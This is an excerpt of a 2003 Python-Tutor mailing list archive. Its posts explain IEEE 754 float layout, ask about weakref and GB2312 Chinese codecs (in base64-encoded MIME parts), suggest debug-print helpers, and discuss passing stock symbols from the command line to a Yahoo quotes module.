Anyway, please feel free to ask more questions on Python-Tutor;  we'll try
what we can to expose the facade of these stupid computers.  *grin*


Good luck to you.



From dman@dman13.dyndns.org  Sat Jun 28 02:41:02 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Sat Jun 28 01:41:02 2003
Subject: [Tutor] Re: Base 207 compression algorithm
In-Reply-To: <3EFB921A.9000402@ccvcorp.com>
References: <Law15-F3hS7PFlOHkd400005330@hotmail.com> <3EFB921A.9000402@ccvcorp.com>
Message-ID: <20030628054012.GA28089@dman13.dyndns.org>

--PNTmBPCT7hxwcZjr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, Jun 26, 2003 at 05:38:50PM -0700, Jeff Shannon wrote:
[snip the rest of Jeff's (IMO) accurate comments]
| I don't remember specifics on the numbers of significant digits that
| are expressible with a standard C float or double

Ooh, ooh, I do.  :-).  (it wasn't that long ago when I was required to
implement IEEE 754 single-precision floating point addition and
subtraction on the integer-based M68k in assembly for class)

A single-precision float is 32 bits.  The first bit is a sign bit, the
next 8 are the exponent and the last 23 are the mantissa.  There is an
"invisible" 1 in the mantissa there due to the normalization performed
before packing the number into the float.

If you've ever seen scientific notation you'll understand where these
component of the numbers come from :
        m + 10**e
m is the mantissa, e is the exponent.  With scientific notation the
mantissa is always of the form d.xx where 'd' is a single base 10
digit (not 0) and xx is whatever fractional part is appropriate.  IEEE
754 floats have a little twist to them, however.  The mantissa is base
2 instead.  So the mantissa is always of the form 1.xx (where xx is
base 2).  That's where the "invisible" 1 comes from that I mentioned
earlier.

If this interests you, check out this page :
    http://babbage.cs.qc.edu/courses/cs341/IEEE-754.html
The form allows you to enter a decimal floating point value
(ascii-encoded, naturally :-)) and then displays the the components of
the binary value as stored in the computer (also ascii encoded,
naturally).

(By the way, a float can represent numbers ranging from negative
infinity to positive infinity, though the precision of the numbers in
between varies with it's position along the number scale)

HTH!
-D

--=20
A man of many companions may come to ruin,
but there is a friend that sticks closer than a brother.
        Proverbs 18:24
=20
http://dman13.dyndns.org/~dman/

--PNTmBPCT7hxwcZjr
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj79KjwACgkQiB6vp1xAVUACPwCfYRmgpDu9ysTjHtO5rvNOl7bY
5FgAnjzkx9KguWPMGLbRe+a1ERhlMCmd
=dWsI
-----END PGP SIGNATURE-----

--PNTmBPCT7hxwcZjr--


From rmangaliag@slu.edu.ph  Sat Jun 28 03:52:06 2003
From: rmangaliag@slu.edu.ph (ali)
Date: Sat Jun 28 02:52:06 2003
Subject: [Tutor] dont know weakref???
Message-ID: <000701c33d43$f80cd6c0$e019a8c0@slu.edu.ph>

if i can refer to an object using its name, why do i need to use weakref???
what is the use of weakref???

thanks...



From jyllyj@gcom-cn.com  Sat Jun 28 05:15:01 2003
From: jyllyj@gcom-cn.com (jyllyj)
Date: Sat Jun 28 04:15:01 2003
Subject: [Tutor] chinese in python23
Message-ID: <009501c33d4d$39d21030$224c70dc@homeu0a59ztmqs>

This is a multi-part message in MIME format.

------=_NextPart_000_0092_01C33D90.47226FD0
Content-Type: text/plain;
	charset="ISO-8859-1"
Content-Transfer-Encoding: base64

ZW52aXJvbm1lbnQ6DQp3aW5kb3cgeHANCnB5dGhvbjIzDQoNCmknbSBpbiBkZWZhdWx0IGNoaW5l
c2UgZ2IyMzEyIGNoYXJzZXQNCmluIC4vcHl0aG9uMjMvbGliL2VuY29kaW5nLyBubyBmb3VuZCBn
YjIzMTIgZW5jb2RlL2RlY29kZQ0Kc28gaSBnZXQgZ2IyMzEyIGNoYXJzZXQgbWFwIGZyb20gZnRw
Oi8vZnRwLnVuaWNvZGUub3JnL1B1YmxpYy9NQVBQSU5HUy9PQlNPTEVURS9FQVNUQVNJQS9HQi9H
QjIzMTIuVFhUDQpleGVjIC9QeXRob24yMy9Ub29scy9TY3JpcHRzL2dlbmNvZGVjLnB5IGdldCBn
YjIzMTIucHkNCnB1dCBnYjIzMTIucHkgaW50byAvcHl0aG9uMjMvbGliL2VuY29kaW5nLw0KaW4g
SURMRSAwLjgNCj4+PiBpbXBvcnQgY29kZWNzDQo+Pj4gY29kZWNzLmxvb2t1cCgnZ2IyMzEyJykN
Cig8Ym91bmQgbWV0aG9kIENvZGVjLmVuY29kZSBvZiA8ZW5jb2RpbmdzLmdiMjMxMi5Db2RlYyBp
bnN0YW5jZSBhdCAweDAxQTA3M0YwPj4sIDxib3VuZCBtZXRob2QgQ29kZWMuZGVjb2RlIG9mIDxl
bmNvZGluZ3MuZ2IyMzEyLkNvZGVjIGluc3RhbmNlIGF0IDB4MDFBMDdGRDA+PiwgPGNsYXNzIGVu
Y29kaW5ncy5nYjIzMTIuU3RyZWFtUmVhZGVyIGF0IDB4MDEwRjA0RTA+LCA8Y2xhc3MgZW5jb2Rp
bmdzLmdiMjMxMi5TdHJlYW1Xcml0ZXIgYXQgMHgwMTBGMDRCMD4pDQoNCmxvb2sgZmluZSENCj4+
PiB0ZXh0PSc/Pz8nICNjaGluZXNlIGNoYXINCj4+PiB0ZXh0LmRlY29kZSgnZ2IyMzEyJykNClRy
YWNlYmFjayAobW9zdCByZWNlbnQgY2FsbCBsYXN0KToNCiAgRmlsZSAiPHB5c2hlbGwjMjg+Iiwg
bGluZSAxLCBpbiA/DQogICAgdGV4dC5kZWNvZGUoJ2diMjMxMicpDQogIEZpbGUgIkM6XFB5dGhv
bjIzXGxpYlxlbmNvZGluZ3NcZ2IyMzEyLnB5IiwgbGluZSAyMiwgaW4gZGVjb2RlDQogICAgcmV0
dXJuIGNvZGVjcy5jaGFybWFwX2RlY29kZShpbnB1dCxlcnJvcnMsZGVjb2RpbmdfbWFwKQ0KVW5p
Y29kZURlY29kZUVycm9yOiAnY2hhcm1hcCcgY29kZWMgY2FuJ3QgZGVjb2RlIGJ5dGUgMHhiZCBp
biBwb3NpdGlvbiAwOiBjaGFyYWN0ZXIgbWFwcyB0byA8dW5kZWZpbmVkPg0KDQp3aGF0J3MgbWlz
c2luZz8NCm90aGVyDQo+Pj4gdGV4dD11J2FiY2QnDQo+Pj4gdGV4dC5lbmNvZGUoJ2diMjMxMicp
DQpUcmFjZWJhY2sgKG1vc3QgcmVjZW50IGNhbGwgbGFzdCk6DQogIEZpbGUgIjxweXNoZWxsIzMy
PiIsIGxpbmUgMSwgaW4gPw0KICAgIHRleHQuZW5jb2RlKCdnYjIzMTInKQ0KICBGaWxlICJDOlxQ
eXRob24yM1xsaWJcZW5jb2RpbmdzXGdiMjMxMi5weSIsIGxpbmUgMTgsIGluIGVuY29kZQ0KICAg
IHJldHVybiBjb2RlY3MuY2hhcm1hcF9lbmNvZGUoaW5wdXQsZXJyb3JzLGVuY29kaW5nX21hcCkN
ClVuaWNvZGVFbmNvZGVFcnJvcjogJ2NoYXJtYXAnIGNvZGVjIGNhbid0IGVuY29kZSBjaGFyYWN0
ZXJzIGluIHBvc2l0aW9uIDAtMzogY2hhcmFjdGVyIG1hcHMgdG8gPHVuZGVmaW5lZD4NCg0KV2hh
dCBzaG91bGQgSSBkbyA/DQoNCmlmIGkgd2FudCB0byBhZGQgb3RoZXIgY2hhcnNldCAoY2hpbmVz
ZSkgc3VwcG9ydCBpbiBweXRob24gDQp3aGF0IHNob3VsZCBpIGRvPw0KUFM6DQogICAgd2hlcmUg
dG8gZm91bmQgZnVuY3Rpb24gZGVjbGFyYXRpb24gYW5kIGltcGxlbWVudGF0aW9uDQoNCiAgICBj
aGFybWFwX2RlY29kZSguLi4pDQogICAgY2hhcm1hcF9lbmNvZGUoLi4uKQ0KDQogICAgaSBzZWFy
Y2hlZCBpdCBpbiBweXRob24gaW5zdGFsbGVkIGRpcmVjdG9yeSBidXQgbm8gZm91bmQuDQogICAg
DQogICAgPj4+aGVscCAoY29kZWNzKQ0KLi4uLg0KLi4uLg0KICAgIGNoYXJtYXBfZGVjb2RlKC4u
LikNCiAgICBjaGFybWFwX2VuY29kZSguLi4pDQouLi4uDQouLi4uDQpsb29rcyBsaWtlIGluIGNv
ZGVjcyBtb2R1bGUNCmJ1dCBubyBoZWxwDQoNCg==

------=_NextPart_000_0092_01C33D90.47226FD0
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiPg0KPE1FVEEgY29udGVudD0iTVNIVE1M
IDYuMDAuMjgwMC4xMTcwIiBuYW1lPUdFTkVSQVRPUj4NCjxTVFlMRT48L1NUWUxFPg0KPC9IRUFE
Pg0KPEJPRFkgYmdDb2xvcj0jZmZmZmZmPg0KPERJVj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj5l
bnZpcm9ubWVudDo8L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPndp
bmRvdyB4cDwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+cHl0aG9u
MjM8L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPjwvRk9OVD4mbmJz
cDs8L0RJVj4NCjxESVY+DQo8RElWPjxGT05UIGZhY2U9QXJpYWw+aSdtIGluIGRlZmF1bHQgY2hp
bmVzZSBnYjIzMTIgY2hhcnNldDxCUj5pbiANCi4vcHl0aG9uMjMvbGliL2VuY29kaW5nLyBubyBm
b3VuZCBnYjIzMTIgZW5jb2RlL2RlY29kZTxCUj5zbyBpIGdldCBnYjIzMTIgDQpjaGFyc2V0IG1h
cCBmcm9tIDwvRk9OVD48QSANCmhyZWY9ImZ0cDovL2Z0cC51bmljb2RlLm9yZy9QdWJsaWMvTUFQ
UElOR1MvT0JTT0xFVEUvRUFTVEFTSUEvR0IvR0IyMzEyLlRYVCI+PEZPTlQgDQpmYWNlPUFyaWFs
PmZ0cDovL2Z0cC51bmljb2RlLm9yZy9QdWJsaWMvTUFQUElOR1MvT0JTT0xFVEUvRUFTVEFTSUEv
R0IvR0IyMzEyLlRYVDwvRk9OVD48L0E+PEJSPjxGT05UIA0KZmFjZT1BcmlhbD5leGVjIC9QeXRo
b24yMy9Ub29scy9TY3JpcHRzL2dlbmNvZGVjLnB5IGdldCBnYjIzMTIucHk8QlI+cHV0IA0KZ2Iy
MzEyLnB5IGludG8gL3B5dGhvbjIzL2xpYi9lbmNvZGluZy88QlI+aW4gSURMRSAwLjg8QlI+Jmd0
OyZndDsmZ3Q7IGltcG9ydCANCmNvZGVjczxCUj4mZ3Q7Jmd0OyZndDsgY29kZWNzLmxvb2t1cCgn
Z2IyMzEyJyk8QlI+KCZsdDtib3VuZCBtZXRob2QgQ29kZWMuZW5jb2RlIA0Kb2YgJmx0O2VuY29k
aW5ncy5nYjIzMTIuQ29kZWMgaW5zdGFuY2UgYXQgMHgwMUEwNzNGMCZndDsmZ3Q7LCAmbHQ7Ym91
bmQgbWV0aG9kIA0KQ29kZWMuZGVjb2RlIG9mICZsdDtlbmNvZGluZ3MuZ2IyMzEyLkNvZGVjIGlu
c3RhbmNlIGF0IDB4MDFBMDdGRDAmZ3Q7Jmd0OywgDQombHQ7Y2xhc3MgZW5jb2RpbmdzLmdiMjMx
Mi5TdHJlYW1SZWFkZXIgYXQgMHgwMTBGMDRFMCZndDssICZsdDtjbGFzcyANCmVuY29kaW5ncy5n
YjIzMTIuU3RyZWFtV3JpdGVyIGF0IDB4MDEwRjA0QjAmZ3Q7KTxCUj48QlI+bG9vayANCmZpbmUh
PEJSPiZndDsmZ3Q7Jmd0OyB0ZXh0PSc/Pz8nICNjaGluZXNlIGNoYXI8QlI+Jmd0OyZndDsmZ3Q7
IA0KdGV4dC5kZWNvZGUoJ2diMjMxMicpPEJSPlRyYWNlYmFjayAobW9zdCByZWNlbnQgY2FsbCBs
YXN0KTo8QlI+Jm5ic3A7IEZpbGUgDQoiJmx0O3B5c2hlbGwjMjgmZ3Q7IiwgbGluZSAxLCBpbiA/
PEJSPiZuYnNwOyZuYnNwOyZuYnNwOyANCnRleHQuZGVjb2RlKCdnYjIzMTInKTxCUj4mbmJzcDsg
RmlsZSAiQzpcUHl0aG9uMjNcbGliXGVuY29kaW5nc1xnYjIzMTIucHkiLCBsaW5lIA0KMjIsIGlu
IGRlY29kZTxCUj4mbmJzcDsmbmJzcDsmbmJzcDsgcmV0dXJuIA0KY29kZWNzLmNoYXJtYXBfZGVj
b2RlKGlucHV0LGVycm9ycyxkZWNvZGluZ19tYXApPEJSPlVuaWNvZGVEZWNvZGVFcnJvcjogDQon
Y2hhcm1hcCcgY29kZWMgY2FuJ3QgZGVjb2RlIGJ5dGUgMHhiZCBpbiBwb3NpdGlvbiAwOiBjaGFy
YWN0ZXIgbWFwcyB0byANCiZsdDt1bmRlZmluZWQmZ3Q7PEJSPjxCUj53aGF0J3MgbWlzc2luZz88
QlI+b3RoZXI8QlI+Jmd0OyZndDsmZ3Q7IA0KdGV4dD11J2FiY2QnPEJSPiZndDsmZ3Q7Jmd0OyB0
ZXh0LmVuY29kZSgnZ2IyMzEyJyk8QlI+VHJhY2ViYWNrIChtb3N0IHJlY2VudCANCmNhbGwgbGFz
dCk6PEJSPiZuYnNwOyBGaWxlICImbHQ7cHlzaGVsbCMzMiZndDsiLCBsaW5lIDEsIGluIA0KPzxC
Uj4mbmJzcDsmbmJzcDsmbmJzcDsgdGV4dC5lbmNvZGUoJ2diMjMxMicpPEJSPiZuYnNwOyBGaWxl
IA0KIkM6XFB5dGhvbjIzXGxpYlxlbmNvZGluZ3NcZ2IyMzEyLnB5IiwgbGluZSAxOCwgaW4gZW5j
b2RlPEJSPiZuYnNwOyZuYnNwOyZuYnNwOyANCnJldHVybiBjb2RlY3MuY2hhcm1hcF9lbmNvZGUo
aW5wdXQsZXJyb3JzLGVuY29kaW5nX21hcCk8QlI+VW5pY29kZUVuY29kZUVycm9yOiANCidjaGFy
bWFwJyBjb2RlYyBjYW4ndCBlbmNvZGUgY2hhcmFjdGVycyBpbiBwb3NpdGlvbiAwLTM6IGNoYXJh
Y3RlciBtYXBzIHRvIA0KJmx0O3VuZGVmaW5lZCZndDs8QlI+PEJSPldoYXQgc2hvdWxkIEkgZG8g
PzxCUj48L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIGZhY2U9QXJpYWw+aWYgaSB3YW50IHRvIGFk
ZCBvdGhlciBjaGFyc2V0IChjaGluZXNlKSBzdXBwb3J0IGluIHB5dGhvbiANCjwvRk9OVD48L0RJ
Vj4NCjxESVY+PEZPTlQgZmFjZT1BcmlhbD53aGF0IHNob3VsZCBpIGRvPzwvRk9OVD48L0RJVj4N
CjxESVY+PEZPTlQgZmFjZT1BcmlhbD5QUzo8L0ZPTlQ+PC9ESVY+DQo8RElWPg0KPERJVj48Rk9O
VCBmYWNlPUFyaWFsIHNpemU9Mj4mbmJzcDsmbmJzcDsmbmJzcDsgd2hlcmUgdG8gZm91bmQgZnVu
Y3Rpb24gDQpkZWNsYXJhdGlvbiBhbmQgaW1wbGVtZW50YXRpb248L0ZPTlQ+PC9ESVY+DQo8RElW
PjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPjwvRk9OVD4mbmJzcDs8L0RJVj4NCjxESVY+DQo8RElW
PjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPiZuYnNwOyZuYnNwOyZuYnNwOyANCmNoYXJtYXBfZGVj
b2RlKC4uLik8QlI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IGNoYXJtYXBfZW5jb2RlKC4uLik8L0ZPTlQ+
PC9ESVY+DQo8RElWPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0yPjwvRk9OVD4mbmJzcDs8L0RJVj48
L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IGkg
c2VhcmNoZWQgaXQgaW4gcHl0aG9uIA0KaW5zdGFsbGVkIGRpcmVjdG9yeSBidXQgbm8gZm91bmQu
PC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mbmJzcDsmbmJzcDsm
bmJzcDsgPC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4mbmJzcDsm
bmJzcDsmbmJzcDsgJmd0OyZndDsmZ3Q7aGVscCANCihjb2RlY3MpPC9GT05UPjwvRElWPg0KPERJ
Vj48Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj4uLi4uPC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBm
YWNlPUFyaWFsIHNpemU9Mj4uLi4uPC9GT05UPjwvRElWPg0KPERJVj4NCjxESVY+PEZPTlQgZmFj
ZT1BcmlhbCBzaXplPTI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0KY2hhcm1hcF9kZWNvZGUoLi4uKTxC
Uj4mbmJzcDsmbmJzcDsmbmJzcDsgY2hhcm1hcF9lbmNvZGUoLi4uKTwvRk9OVD48L0RJVj4NCjxE
SVY+PEZPTlQgZmFjZT1BcmlhbCBzaXplPTI+Li4uLjwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQg
ZmFjZT1BcmlhbCBzaXplPTI+Li4uLjwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1Bcmlh
bCBzaXplPTI+bG9va3MgbGlrZSBpbiBjb2RlY3MgbW9kdWxlPC9GT05UPjwvRElWPg0KPERJVj48
Rk9OVCBmYWNlPUFyaWFsIHNpemU9Mj5idXQgbm8gaGVscDwvRk9OVD48L0RJVj48L0RJVj48L0RJ
Vj4NCjxESVY+PEZPTlQgZmFjZT1BcmlhbD48L0ZPTlQ+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05U
IGZhY2U9QXJpYWw+Jm5ic3A7PC9ESVY+PC9GT05UPjwvRElWPjwvQk9EWT48L0hUTUw+DQo=

------=_NextPart_000_0092_01C33D90.47226FD0--





From Janssen@rz.uni-frankfurt.de  Sat Jun 28 09:35:02 2003
From: Janssen@rz.uni-frankfurt.de (Michael Janssen)
Date: Sat Jun 28 08:35:02 2003
Subject: [Tutor] Sharpening the print statement (was:Readlines(longish!))
In-Reply-To: <000e01c33ce2$7935cbb0$6401a8c0@xp>
Message-ID: <Pine.A41.4.30.0306281422290.13700-100000@stupool29.rz.uni-frankfurt.de>

On Fri, 27 Jun 2003, Alan Gauld wrote:

[discussing a dictionary & function approach]
>
> This removes all the spurious indentation involved in the if
> tests and so maintains the structure of the code and hence
> most of its readability while still providing switched error
> reporting. But it does take more work to set up and maintain...

I've helped myself with two funtions "dprint" and "ddprint" (two levels of
debug-printing are sufficient for me). Both take the error-message and
then check if an option debug or debug2 is True befor printing. That's
all.

This is to say, instead of
if (debug > 1): print "error - messages"

ddprint("error - message")

You can even give those functions some logic to handle objects and tuple
of objects for printing. Then it is easy to turn a debuging-purpose print
statement into one of the debugging functions. As a disadvantage might
count, that you need some more (global?) functions and variables.

Michael



From decibelshelp@charter.net  Sat Jun 28 11:41:03 2003
From: decibelshelp@charter.net (Decibels)
Date: Sat Jun 28 10:41:03 2003
Subject: [Tutor] Convert list to literal string.
Message-ID: <200306280940.06720.decibelshelp@charter.net>

Having a little problem with part of my program.
I had a little setup program I wrote to populate a database.
In the setup I used literal strings for the symbols, and figured later
I would have it take command-line options for them.

Problem is now, I can't get the function to work with the list, only if
I enter the data as literal strings.

Example:

stocks = "IBM,EK"

send that to the yahooquotes module and works fine!

When I enter them from the command-line though it doesn't
It comes as a list and won't work.  

Is there a way to make a list into a literal?

Thanks, Dave



From dman@dman13.dyndns.org  Sat Jun 28 11:44:02 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Sat Jun 28 10:44:02 2003
Subject: [Tutor] Re: Convert list to literal string.
In-Reply-To: <200306280940.06720.decibelshelp@charter.net>
References: <200306280940.06720.decibelshelp@charter.net>
Message-ID: <20030628144336.GA30739@dman13.dyndns.org>

--pf9I7BMVVzbSWLtt
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, Jun 28, 2003 at 09:40:06AM -0500, Decibels wrote:
| Having a little problem with part of my program.
| I had a little setup program I wrote to populate a database.
| In the setup I used literal strings for the symbols, and figured later
| I would have it take command-line options for them.
|=20
| Problem is now, I can't get the function to work with the list, only if
| I enter the data as literal strings.
|=20
| Example:
|=20
| stocks =3D "IBM,EK"
|=20
| send that to the yahooquotes module and works fine!

Ok.

| When I enter them from the command-line though it doesn't
| It comes as a list and won't work. =20

What is the code that exhibits this?

Command line arguments are always strings until the application turns
them into other data structures.

| Is there a way to make a list into a literal?

Lists can be converted into strings in many ways.  The one you want to
use depends entirely on the structure of the list you have and the
desired format of the string you want.

-D

--=20
If your company is not involved in something called "ISO 9000" you
probably have no idea what it is.  If your company _is_ involved in ISO
9000 then you definitely have no idea what it is.
                                (Scott Adams - The Dilbert principle)
=20
http://dman13.dyndns.org/~dman/

--pf9I7BMVVzbSWLtt
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj79qZgACgkQiB6vp1xAVUAXdwCeLhkCk9ntUkZFLQ+OoHX8XGQc
PkYAn0d14qnp2e91NXbh4OOHBXHoUrX/
=X/9Q
-----END PGP SIGNATURE-----

--pf9I7BMVVzbSWLtt--


From decibelshelp@charter.net  Sat Jun 28 12:08:01 2003
From: decibelshelp@charter.net (Decibels)
Date: Sat Jun 28 11:08:01 2003
Subject: [Tutor] Re: Convert list to literal string.
Message-ID: <200306281007.06353.decibelshelp@charter.net>

I can make a loop and process the info. But you can pass Yahoo
an entire list of symbols and it will return the information.
I can make this work:

def addstock_info(addstock):
        stock = addstock
        scount = len(stock)  
        print "Getting Stockinfo data from Yahoo"
        for x in range(0,scount):
                results=quotes.findQuotes(stock[x])

With that I can pass from the command-line for example:

--addstocks  IBM,EK,MO,UTX

and loop thru them.  

I was just thinking that I could do it without looping,
since if you bypass the 'addstock' and do this:

def addstock_info(addstock):
        stock = "IBM,EK,MO,UTX'  #ignoring string passed from command-line
        print "Getting Stockinfo data from Yahoo"
        results=quotes.findQuotes(stock)

This will work also, but doesn't allow user input.

I have other functions doing stuff with command-line, but I am processing parts 
of the string. So accessing parts of it is fine.

Don't know, it might be just as fast? Was thinking it might be faster to get the quotes
from Yahoo in one swoop instead of looping.  So wanted to change to a literal string
if could figure out how. Maybe it should work, but when you send the symbols from
the command-line it doesn't unless I pass each one seperately. I must be doing something
wrong.

Dave


On Saturday 28 June 2003 09:43 am, Derrick 'dman' Hudson wrote:
> On Sat, Jun 28, 2003 at 09:40:06AM -0500, Decibels wrote:
> | Having a little problem with part of my program.
> | I had a little setup program I wrote to populate a database.
> | In the setup I used literal strings for the symbols, and figured later
> | I would have it take command-line options for them.
> |
> | Problem is now, I can't get the function to work with the list, only if
> | I enter the data as literal strings.
> |
> | Example:
> |
> | stocks = "IBM,EK"
> |
> | send that to the yahooquotes module and works fine!
>
> Ok.
>
> | When I enter them from the command-line though it doesn't
> | It comes as a list and won't work.
>
> What is the code that exhibits this?
>
> Command line arguments are always strings until the application turns
> them into other data structures.
>
> | Is there a way to make a list into a literal?
>
> Lists can be converted into strings in many ways.  The one you want to
> use depends entirely on the structure of the list you have and the
> desired format of the string you want.
>
> -D



From jyllyj@gcom-cn.com  Sat Jun 28 12:22:02 2003
From: jyllyj@gcom-cn.com (jyllyj)
Date: Sat Jun 28 11:22:02 2003
Subject: [Tutor] Re: chinese in python23
References: <009501c33d4d$39d21030$224c70dc@homeu0a59ztmqs> <3EFDA497.8060603@lemburg.com>
Message-ID: <00de01c33d86$4141d010$224c70dc@homeu0a59ztmqs>

dGhhbmsncyBmb3IgeW91ciBoZWxwDQoNCkNKS0NvZGVjcyBpcyBnb29kIGJ1dCBpdCBzcGxpdHRl
ciB3aXRoIHB5dGhvbg0KaW4gZGVmYXVsdCAscHl0aG9uIG9ubHkgc2VhY2ggLi9saWIvZW5jb2Rp
bmcNCmlmIGkgdXNlIG90aGVyIFRPT0wgbGlrZSBYUkNlZCBkZWFsIHdpdGggWE1MIHBhcnNlDQpp
dCdzIGRvbid0IGtub3duIGFib3V0IGNqa2NvZGVjcw0KbWVlbiBvdGhlciBweXRob24ncyB0b29s
cyBkb24ndCBrbm93biBjamtjb2RlY3MgYW5kDQpjYW4ndCB1bmRlcnN0YW5kIG15IGNoYXJzZXQN
Cg0KaG93IHRvIGNvbWJpbiB0aGUgY2prY29kZWNzIHRvIHB5dGhvbidzIGRlL2VuY29kZSBzZXQ/
DQoNCnNvcnJ5IGFib3V0IG15IHBvb3IgZW5nbGlzdA0KDQotLS0tLSBPcmlnaW5hbCBNZXNzYWdl
IC0tLS0tIA0KRnJvbTogIk0uLUEuIExlbWJ1cmciIDxtYWxAbGVtYnVyZy5jb20+DQpUbzogImp5
bGx5aiIgPGp5bGx5akBnY29tLWNuLmNvbT4NCkNjOiA8dHV0b3JAcHl0aG9uLm9yZz4NClNlbnQ6
IFNhdHVyZGF5LCBKdW5lIDI4LCAyMDAzIDEwOjIyIFBNDQpTdWJqZWN0OiBSZTogY2hpbmVzZSBp
biBweXRob24yMw0KDQoNCj4ganlsbHlqIHdyb3RlOg0KPiA+IGVudmlyb25tZW50Og0KPiA+IHdp
bmRvdyB4cA0KPiA+IHB5dGhvbjIzDQo+ID4gDQo+ID4gaSdtIGluIGRlZmF1bHQgY2hpbmVzZSBn
YjIzMTIgY2hhcnNldA0KPiA+IGluIC4vcHl0aG9uMjMvbGliL2VuY29kaW5nLyBubyBmb3VuZCBn
YjIzMTIgZW5jb2RlL2RlY29kZQ0KPiA+IHNvIGkgZ2V0IGdiMjMxMiBjaGFyc2V0IG1hcCBmcm9t
IGZ0cDovL2Z0cC51bmljb2RlLm9yZy9QdWJsaWMvTUFQUElOR1MvT0JTT0xFVEUvRUFTVEFTSUEv
R0IvR0IyMzEyLlRYVA0KPiA+IGV4ZWMgL1B5dGhvbjIzL1Rvb2xzL1NjcmlwdHMvZ2VuY29kZWMu
cHkgZ2V0IGdiMjMxMi5weQ0KPiA+IHB1dCBnYjIzMTIucHkgaW50byAvcHl0aG9uMjMvbGliL2Vu
Y29kaW5nLw0KPiA+IGluIElETEUgMC44DQo+ID4gDQo+ID4+Pj5pbXBvcnQgY29kZWNzDQo+ID4+
Pj5jb2RlY3MubG9va3VwKCdnYjIzMTInKQ0KPiA+IA0KPiA+ICg8Ym91bmQgbWV0aG9kIENvZGVj
LmVuY29kZSBvZiA8ZW5jb2RpbmdzLmdiMjMxMi5Db2RlYyBpbnN0YW5jZSBhdCAweDAxQTA3M0Yw
Pj4sIDxib3VuZCBtZXRob2QgQ29kZWMuZGVjb2RlIG9mIDxlbmNvZGluZ3MuZ2IyMzEyLkNvZGVj
IGluc3RhbmNlIGF0IDB4MDFBMDdGRDA+PiwgPGNsYXNzIGVuY29kaW5ncy5nYjIzMTIuU3RyZWFt
UmVhZGVyIGF0IDB4MDEwRjA0RTA+LCA8Y2xhc3MgZW5jb2RpbmdzLmdiMjMxMi5TdHJlYW1Xcml0
ZXIgYXQgMHgwMTBGMDRCMD4pDQo+ID4gDQo+ID4gbG9vayBmaW5lIQ0KPiA+IA0KPiA+Pj4+dGV4
dD0nPz8/JyAjY2hpbmVzZSBjaGFyDQo+ID4+Pj50ZXh0LmRlY29kZSgnZ2IyMzEyJykNCj4gPiAN
Cj4gPiBUcmFjZWJhY2sgKG1vc3QgcmVjZW50IGNhbGwgbGFzdCk6DQo+ID4gICBGaWxlICI8cHlz
aGVsbCMyOD4iLCBsaW5lIDEsIGluID8NCj4gPiAgICAgdGV4dC5kZWNvZGUoJ2diMjMxMicpDQo+
ID4gICBGaWxlICJDOlxQeXRob24yM1xsaWJcZW5jb2RpbmdzXGdiMjMxMi5weSIsIGxpbmUgMjIs
IGluIGRlY29kZQ0KPiA+ICAgICByZXR1cm4gY29kZWNzLmNoYXJtYXBfZGVjb2RlKGlucHV0LGVy
cm9ycyxkZWNvZGluZ19tYXApDQo+ID4gVW5pY29kZURlY29kZUVycm9yOiAnY2hhcm1hcCcgY29k
ZWMgY2FuJ3QgZGVjb2RlIGJ5dGUgMHhiZCBpbiBwb3NpdGlvbiAwOiBjaGFyYWN0ZXIgbWFwcyB0
byA8dW5kZWZpbmVkPg0KPiA+IA0KPiA+IHdoYXQncyBtaXNzaW5nPw0KPiANCj4gVGhlIGNoYXJt
YXAgY29kZWMgd2lsbCBvbmx5IG1hcCA4LWJpdCBlbmNvZGluZ3MgdG8gVW5pY29kZSAoYW5kDQo+
IHZpY2UtdmVyc2EpLiBHQjIzMTIgaXMgZ2l2ZW4gYXMgMTYtYml0IGVuY29kaW5nIGluIHRoZSB0
YWJsZQ0KPiB5b3UgcXVvdGUuDQo+IA0KPiBZb3Ugc2hvdWxkIHByb2JhYmx5IHRyeSBvbmUgb2Yg
dGhlIGF2YWlsYWJsZSBDSksgY29kZWMNCj4gcGFja2FnZSBhdmFpbGFibGUgZm9yIFB5dGhvbiwg
